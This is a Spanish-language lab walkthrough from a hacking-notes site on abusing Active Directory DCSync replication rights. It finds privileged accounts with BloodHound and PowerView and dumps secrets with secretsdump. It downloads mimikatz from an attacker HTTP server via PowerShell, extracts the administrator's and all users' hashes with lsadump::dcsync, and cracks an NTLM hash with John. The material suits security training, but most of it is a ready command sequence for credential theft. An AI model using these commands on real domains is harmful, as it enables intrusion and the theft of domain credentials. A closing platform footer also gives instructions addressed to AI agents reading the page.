> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Explotación de DCSync

#### Principio de DCSync

En Active Directory, los controladores de dominio deben sincronizarse entre sí para mantener una base de datos coherente.

Por ejemplo, cuando se realiza un cambio en un controlador de dominio, este cambio debe replicarse en los demás controladores de dominio.

Esta replicación concierne en particular a:

* usuarios;
* grupos;
* hashes de contraseñas;
* atributos de Active Directory;
* los objetos del dominio;
* la información necesaria para el correcto funcionamiento del dominio.

#### 2. Por qué DCSync es sensible

Un **DCSync** el ataque o la técnica implica abusar de los derechos de replicación de Active Directory.

Normalmente, solo los controladores de dominio deberían poder consultar esta información sensible.

Pero si un usuario o grupo tiene derechos de replicación demasiado amplios, puede comportarse como un controlador de dominio y consultar datos sensibles de AD.

Los derechos importantes incluyen:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Estos derechos pueden permitirle recuperar información crítica del dominio.

#### 3. Objetivo en el laboratorio

En este laboratorio, el objetivo es identificar qué usuarios o grupos tienen derechos DCSync.

Usaremos **BloodHound** para encontrar las cuentas que tienen estos permisos.

#### 4. Buscar cuentas con derechos DCSync en BloodHound

En BloodHound, puede utilizar la siguiente consulta predefinida:

```bash
Buscar principales con derechos DCSync
```

<figure><img src="/files/1230f3b58419d7e492aff23757c96d9e3ad23d10" alt=""><figcaption></figcaption></figure>

Esta consulta identifica a los principales — usuarios, grupos o equipos — que tienen derechos de replicación sobre el dominio.

<figure><img src="/files/f10f0c4bdeec2f2bb69799899e4ac926f538a456" alt=""><figcaption></figcaption></figure>

#### 5. Búsqueda con PowerView

Con PowerView, también es posible identificar cuentas con estos derechos usando el siguiente comando:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Este comando muestra objetos con permisos relacionados con la replicación de Active Directory.

<figure><img src="/files/90201ca5778d234ae3f25e12d23e9043e0095b90" alt=""><figcaption></figcaption></figure>

#### 6. Cambiar la contraseña de la cuenta objetivo

En el laboratorio, luego cambiamos la contraseña de la cuenta identificada para poder utilizarla en la explotación.

Contraseña utilizada:

```
Password1@
```

#### 7. Explotación remota con secretsdump

Luego puede usar `secretsdump.py` para utilizar los derechos DCSync de forma remota:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Esto permite recuperar información sensible accesible gracias a los derechos de replicación de la cuenta.

<figure><img src="/files/168eb1946dfe972060dad64682ff16d01131003e" alt=""><figcaption></figcaption></figure>

#### 8. Uso de Mimikatz en una máquina Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Luego descargamos Mimikatz como un `.zip` archivo comprimido, y después transferimos el ejecutable a la máquina Windows del laboratorio.

En la máquina atacante, iniciamos un servidor HTTP:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Desde la máquina Windows, descargamos el ejecutable

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Luego lo ejecutamos:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/4a758b43109132c730395fc2115aaacde4686743" alt=""><figcaption></figcaption></figure>

#### 9. Recuperar el hash del administrador

Con Mimikatz, puede consultar la replicación de los secretos de un usuario específico, por ejemplo la cuenta de administrador:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/8143a7a9c07aa00dfdf40b5f98f77712e648e0c9" alt=""><figcaption></figcaption></figure>

#### 10. Recuperar los hashes de todos los usuarios

También es posible consultar la información de todos los usuarios del dominio:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/48116fd7d7551806e9c9ef8fd37599119caebb6d" alt=""><figcaption></figcaption></figure>

#### 12. Preparar el hash para cracking

Luego colocamos el hash recuperado en un archivo en un formato compatible con John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Luego iniciamos el cracking del hash NTLM:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/56a9c053e3de073f0e74077cee9f8115b58fcaac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
